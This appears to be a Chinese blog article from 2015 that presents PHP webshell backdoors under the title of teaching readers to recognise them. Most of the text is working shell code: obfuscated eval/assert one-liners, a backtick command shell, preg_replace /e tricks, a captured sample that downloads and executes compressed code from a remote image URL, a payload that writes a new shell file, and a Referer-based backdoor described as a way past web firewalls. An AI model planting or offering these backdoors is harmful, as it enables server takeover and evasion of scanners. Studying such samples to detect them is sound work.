教你识别简单的免查杀PHP后门


Posted in PHP onSeptember 13, 2015

一个最常见的一句话后门可能写作这样

<?php @eval($_POST['cmd']);?>

或这样

<?php @assert($_POST['cmd']);?>

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

构造生成,当然,嫌太直观可以写作这样

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门

直接上代码:

<?php
 
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
 
!$_GET['c']||`{$_GET['c']}`;//精简
 
/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/?c=type%20config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码

<?php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
?>

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

<?php

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

无特征隐藏PHP一句话:

<?php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
?>

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:

<?php $_GET [a]( $_GET [b]);?>

 
仅用GET函数就构成了木马;
利用方法:
    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
 

<?php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); 
} 

?>

文件2

<?php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode ( $code ); 
//构造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

PHP 相关文章推荐
php笔记之:php数组相关函数的使用
Apr 26 PHP
php生成zip压缩文件的方法详解
Jun 09 PHP
ThinkPHP之M方法实例详解
Jun 20 PHP
php判断linux下程序问题实例
Jul 09 PHP
PHP抓取淘宝商品的用户晒单评论+图片+搜索商品列表实例
Apr 14 PHP
Yii安装与使用Excel扩展的方法
Jul 13 PHP
CI框架(ajax分页,全选,反选,不选,批量删除)完整代码详解
Nov 01 PHP
[原创]PHP实现字节数Byte转换为KB、MB、GB、TB的方法
Aug 31 PHP
thinkPHP5实现的查询数据库并返回json数据实例
Oct 23 PHP
php使用curl_init()和curl_multi_init()多线程的速度比较详解
Aug 15 PHP
PHP 获取客户端 IP 地址的方法实例代码
Nov 11 PHP
Mac系统下搭建Nginx+php-fpm实例讲解
Dec 15 PHP
php文件扩展名判断及获取文件扩展名的N种方法
Sep 12 #PHP
php上传功能集后缀名判断和随机命名(强力推荐)
Sep 10 #PHP
ubuntu下配置nginx+php+mysql详解
Sep 10 #PHP
ThinkPHP函数详解之M方法和R方法
Sep 10 #PHP
基于JQuery+PHP编写砸金蛋中奖程序
Sep 08 #PHP
四个常见html网页乱码问题及解决办法
Sep 08 #PHP
php图片水印添加、压缩、剪切的封装类实现
Apr 18 #PHP
You might like
php调用C代码的实现方法
2014/03/11 PHP
php读取csv文件并输出的方法
2015/03/14 PHP
mysql查找删除重复数据并只保留一条实例详解
2016/09/24 PHP
关于PHP虚拟主机概念及如何选择稳定的PHP虚拟主机
2018/11/20 PHP
高性能JavaScript模板引擎实现原理详解
2015/02/05 Javascript
jQuery实现的进度条效果
2015/07/15 Javascript
jquery解析json格式数据的方法(对象、字符串)
2015/11/24 Javascript
基于javascript实现句子翻牌网页版小游戏
2016/03/23 Javascript
JS HTML5实现拖拽移动列表效果
2020/08/27 Javascript
jQuery使用getJSON方法获取json数据完整示例
2016/09/13 Javascript
JavaScript如何一次性展示几万条数据
2017/03/30 Javascript
浅谈Angular路由复用策略
2017/10/04 Javascript
java实现单链表增删改查的实例代码详解
2019/08/30 Javascript
BootstrapValidator验证用户名已存在(ajax)
2019/11/08 Javascript
纯 JS 实现放大缩小拖拽功能(完整代码)
2019/11/25 Javascript
webpack 如何同时输出压缩和未压缩的文件的实现步骤
2020/06/05 Javascript
解决Vue的项目使用Element ui 走马灯无法实现的问题
2020/08/03 Javascript
javascript自定义加载loading效果
2020/09/15 Javascript
vue3 watch和watchEffect的使用以及有哪些区别
2021/01/26 Vue.js
Python实现压缩与解压gzip大文件的方法
2016/09/18 Python
Python框架Flask的基本数据库操作方法分析
2018/07/13 Python
对Python w和w+权限的区别详解
2019/01/23 Python
tensorflow将图片保存为tfrecord和tfrecord的读取方式
2020/02/17 Python
pyqt5中动画的使用详解
2020/04/01 Python
python模拟点击在ios中实现的实例讲解
2020/11/26 Python
Python爬虫设置Cookie解决网站拦截并爬取蚂蚁短租的问题
2021/02/22 Python
CSS3实现div从下往上滑入滑出效果示例
2020/04/28 HTML / CSS
教育专业个人求职信
2013/12/02 职场文书
市场营销专业毕业生求职信
2014/03/26 职场文书
2014年五一劳动节社区活动总结
2014/04/14 职场文书
如何写股份合作协议书
2014/09/11 职场文书
房屋产权证明书
2014/10/15 职场文书
试用期自我评价范文
2015/03/10 职场文书
公司放假通知怎么写
2015/04/15 职场文书
奔腾年代观后感
2015/06/09 职场文书
MybatisPlus代码生成器的使用方法详解
2021/06/13 Java/Android